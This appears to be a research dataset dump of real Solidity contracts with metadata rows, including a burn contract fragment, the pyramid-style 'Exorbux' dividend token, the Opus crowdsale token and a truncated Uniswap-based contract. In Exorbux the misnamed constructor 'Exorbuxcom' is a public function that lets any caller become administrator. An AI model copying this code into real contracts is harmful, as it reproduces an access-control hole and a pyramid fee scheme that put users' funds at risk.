uint256 _burnedBalance = tokensBurnedByAccount[tokenAddress][
accountAddress
];
// Fetch allowance state
bool _tokenTransferAllowed = _token.allowance(accountAddress,
address(this)) > _userBalance;
// Fetch token metadata
Token memory token = Token({
id: tokenAddress,
name: _token.name(),
symbol: _token.symbol(),
decimals: _token.decimals(),
balance: _userBalance,
burned: _burnedBalance,
approved: _tokenTransferAllowed
});
_tokens[burnableTokenIdx] = token; // Save burnable token data in array
}
tokens = _tokens; // Return burnable tokens
}
function burnStatistics()
external
view
returns (uint256 veNFTBurned, Token[] memory erc20Burned)
{
Token[] memory _tokens = new Token[](validBurnableTokenAddresses.length);
for (uint256 burnTokenIdx;
burnTokenIdx < validBurnableTokenAddresses.length;
burnTokenIdx++) {
IERC20 _token = IERC20(validBurnableTokenAddresses[burnTokenIdx]);
_tokens[burnTokenIdx] = Token({
id: validBurnableTokenAddresses[burnTokenIdx],
name: _token.name(),
symbol: _token.symbol(),
decimals: _token.decimals(),
balance: _token.balanceOf(address(this)),
burned: _token.balanceOf(address(this)),
approved: true
});
}
uint256 totalVeNftBurnedIncludingConvexLayers = veNftBurnedAmountTotal +
convexLayersLockedAmount();
return (totalVeNftBurnedIncludingConvexLayers, _tokens);
}
function convexLayersLockedAmount()
public
view
returns (uint256 totalLocked)
{
uint256 oxDaoLocked = uint256(uint128(veNft.locked(2).amount));
uint256 solidexLocked = uint256(uint128(veNft.locked(8).amount));
totalLocked = oxDaoLocked + solidexLocked;
}
function onERC721Received(address,
address,
uint256,
bytes calldata) external view returns (bytes4) {
require(msg.sender == address(veNft)); // Only accept veNfts
require(_unlocked == 2, "No direct transfers");
return this.onERC721Received.selector;
}
}
| 309,057 | 614 |
43ec32f4ca7e44ce0d9f1526f52567c0920f5088d6a1078569f7e489e6a8ed4c
| 24,993 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x0bc957a2dca7a6549f94fcab8cc3a900afdb1627.sol
| 4,763 | 18,361 |
pragma solidity ^0.4.20;
contract Exorbux {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Exorbux";
string public symbol = "EXB";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 35; // 35% to enter our community
uint8 constant internal refferalFee_ = 20; // 20% from enter fee divs or 7% for each invite, great for inviting new members on Exorbux
uint8 constant internal exitFee_ = 15; // 15% for selling
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
function Exorbuxcom()
public
{
// add administrators here with their wallets
// bungalogic
// Website developer, concept and design. Community
administrators[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
ambassadors_[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
// clumsier
// Solidity Developer, website, EXB
administrators[msg.sender] = true;
ambassadors_[msg.sender] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a Kekly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
if (isUser[_customerAddress] == false) {
referrals[_referredBy]++;
}
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (isUser[_customerAddress] == false) {
isUser[_customerAddress] = true;
usersAddresses.push(_customerAddress);
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,882 | 615 |
93efc2c7fd2c115391d086621f43199e58a57b42359e5d9a098db979a5e3ef8b
| 13,017 |
.sol
|
Solidity
| false |
367422064
|
YuGer26/ERC20-List-All
|
4f93234ff8de0cddf2ca81994275768250f2b1b7
|
erc20/Opus(OPT)_0x4355fC160f74328f9b383dF2EC589bB3dFd82Ba0.sol
| 3,520 | 12,571 |
pragma solidity ^0.4.8;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
if(!(a == 0 || c / a == b)) throw;
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
if(!(b <= a)) throw;
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
if(!(c >= a)) throw;
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ContractReceiver{
function tokenFallback(address _from, uint256 _value, bytes _data) external;
}
//Basic ERC23 token, backward compatible with ERC20 transfer function.
//Based in part on code by open-zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract ERC23BasicToken {
using SafeMath for uint256;
uint256 public totalSupply;
mapping(address => uint256) balances;
event Transfer(address indexed from, address indexed to, uint256 value);
function tokenFallback(address _from, uint256 _value, bytes _data) external {
throw;
}
function transfer(address _to, uint256 _value, bytes _data) returns (bool success) {
//Standard ERC23 transfer function
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
function transfer(address _to, uint256 _value) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
}
function transferToAddress(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function transferToContract(address _to, uint256 _value, bytes _data) internal {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value); }
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) returns (bool is_contract) {
uint256 length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
}
contract ERC23StandardToken is ERC23BasicToken {
mapping (address => mapping (address => uint256)) allowed;
event Approval (address indexed owner, address indexed spender, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
// Based in part on code by Open-Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity.git
contract OpusToken is ERC23StandardToken {
string public constant name = "Opus Token";
string public constant symbol = "OPT";
uint256 public constant decimals = 18;
address public multisig=address(0x1426c1f91b923043F7C5FbabC6e369e7cBaef3f0); //multisig wallet, to which all contributions will be sent
address public foundation; //owner address
address public candidate; //owner candidate in 2-phase ownership transfer
mapping (address => uint256) contributions; //keeps track of ether contributions in Wei of each contributor address
uint256 public startBlock = 4023333; //pre-crowdsale start block (30min ealier than estimate)
uint256 public preEndBlock = 4057233; //pre-crowdsale end block(1h after estimated time)
uint256 public phase1StartBlock = 4066633; //Crowdsale start block (1h earlier)
uint256 public phase1EndBlock = 4100233; //Week 1 end block (estimate)
uint256 public phase2EndBlock = 4133833; //Week 2 end block (estimate)
uint256 public phase3EndBlock = 4201433; //Week 4 end block (2h later)
uint256 public endBlock = 4201433; //whole crowdsale end block
uint256 public crowdsaleTokenSupply = 900000000 * (10**18); //Amount of tokens for sale during crowdsale
uint256 public ecosystemTokenSupply = 100000000 * (10**18); //Tokens for supporting the Opus eco-system, e.g. purchasing music licenses, artist bounties, etc.
uint256 public foundationTokenSupply = 600000000 * (10**18); //Tokens distributed to the Opus foundation, developers and angel investors
uint256 public crowdsaleTokenSold = 0; //Keeps track of the amount of tokens sold during the crowdsale
uint256 public presaleEtherRaised = 0; //Keeps track of the Ether raised during the crowdsale
uint256 public transferLockup = 9600;
bool public halted = false; //Halt crowdsale in emergency
event Halt(); //Halt event
event Unhalt(); //Unhalt event
modifier onlyFoundation() {
//only do if call is from owner modifier
if (msg.sender != foundation) throw;
_;
}
modifier crowdsaleTransferLock() {
// lockup during and after 48h of end of crowdsale
if (block.number <= endBlock.add(transferLockup)) throw;
_;
}
modifier whenNotHalted() {
// only do when not halted modifier
if (halted) throw;
_;
}
//Constructor: set multisig crowdsale recipient wallet address and fund the foundation
//Initialize total supply and allocate ecosystem & foundation tokens
function OpusToken() {
foundation = msg.sender;
totalSupply = ecosystemTokenSupply.add(foundationTokenSupply);
balances[foundation] = totalSupply;
}
//Fallback function when receiving Ether.
function() payable {
buy();
}
//Halt ICO in case of emergency.
function halt() onlyFoundation {
halted = true;
Halt();
}
function unhalt() onlyFoundation {
halted = false;
Unhalt();
}
function buy() payable {
buyRecipient(msg.sender);
}
//Allow addresses to buy token for another account
function buyRecipient(address recipient) public payable whenNotHalted {
if(msg.value == 0) throw;
if(!(preCrowdsaleOn()||crowdsaleOn())) throw;//only allows during presale/crowdsale
if(contributions[recipient].add(msg.value)>perAddressCap()) throw;//per address cap
uint256 tokens = msg.value.mul(returnRate()); //decimals=18, so no need to adjust for unit
if(crowdsaleTokenSold.add(tokens)>crowdsaleTokenSupply) throw;//max supply limit
balances[recipient] = balances[recipient].add(tokens);
totalSupply = totalSupply.add(tokens);
presaleEtherRaised = presaleEtherRaised.add(msg.value);
contributions[recipient] = contributions[recipient].add(msg.value);
crowdsaleTokenSold = crowdsaleTokenSold.add(tokens);
if(crowdsaleTokenSold == crowdsaleTokenSupply){
//If crowdsale token sold out, end crowdsale
if(block.number < preEndBlock) {
preEndBlock = block.number;
}
endBlock = block.number;
}
if (!multisig.send(msg.value)) throw; //immediately send Ether to multisig address
Transfer(this, recipient, tokens);
}
//Burns the specified amount of tokens from the foundation
//Used to burn unspent funds in foundation DAO
function burn(uint256 _value) external onlyFoundation returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, address(0), _value);
return true;
}
//2-phase ownership transfer;
//prevent transferring ownership to non-existent addresses by accident.
function proposeFoundationTransfer(address newFoundation) external onlyFoundation {
//propose new owner
candidate = newFoundation;
}
function cancelFoundationTransfer() external onlyFoundation {
candidate = address(0);
}
function acceptFoundationTransfer() external {
//new owner accept transfer to complete transfer
if(msg.sender != candidate) throw;
foundation = candidate;
candidate = address(0);
}
//Allow to change the recipient multisig address
function setMultisig(address addr) external onlyFoundation {
if (addr == address(0)) throw;
multisig = addr;
}
function transfer(address _to, uint256 _value, bytes _data) public crowdsaleTransferLock returns (bool success) {
return super.transfer(_to, _value, _data);
}
function transfer(address _to, uint256 _value) public crowdsaleTransferLock {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public crowdsaleTransferLock {
super.transferFrom(_from, _to, _value);
}
//Return rate of token against ether.
function returnRate() public constant returns(uint256) {
if (block.number>=startBlock && block.number<=preEndBlock) return 8888; //Pre-crowdsale
if (block.number>=phase1StartBlock && block.number<=phase1EndBlock) return 8000; //Crowdsale phase1
if (block.number>phase1EndBlock && block.number<=phase2EndBlock) return 7500; //Phase2
if (block.number>phase2EndBlock && block.number<=phase3EndBlock) return 7000; //Phase3
}
//per address cap in Wei: 1000 ether + 1% of ether received at the given time.
function perAddressCap() public constant returns(uint256) {
uint256 baseline = 1000 * (10**18);
return baseline.add(presaleEtherRaised.div(100));
}
function preCrowdsaleOn() public constant returns (bool) {
//return whether presale is on according to block number
return (block.number>=startBlock && block.number<=preEndBlock);
}
function crowdsaleOn() public constant returns (bool) {
//return whether crowdsale is on according to block number
return (block.number>=phase1StartBlock && block.number<=endBlock);
}
function getEtherRaised() external constant returns (uint256) {
//getter function for etherRaised
return presaleEtherRaised;
}
function getTokenSold() external constant returns (uint256) {
//getter function for crowdsaleTokenSold
return crowdsaleTokenSold;
}
}
| 228,614 | 616 |
686778aed6a9f19ce4d0ef56f7f3c82521ad8c6797951406dea7d4b116b7c8c6
| 16,942 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/21/2152a2aa5391a89c40325f4abef92277b9ab96e5_Contract.sol
| 3,082 | 12,401 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
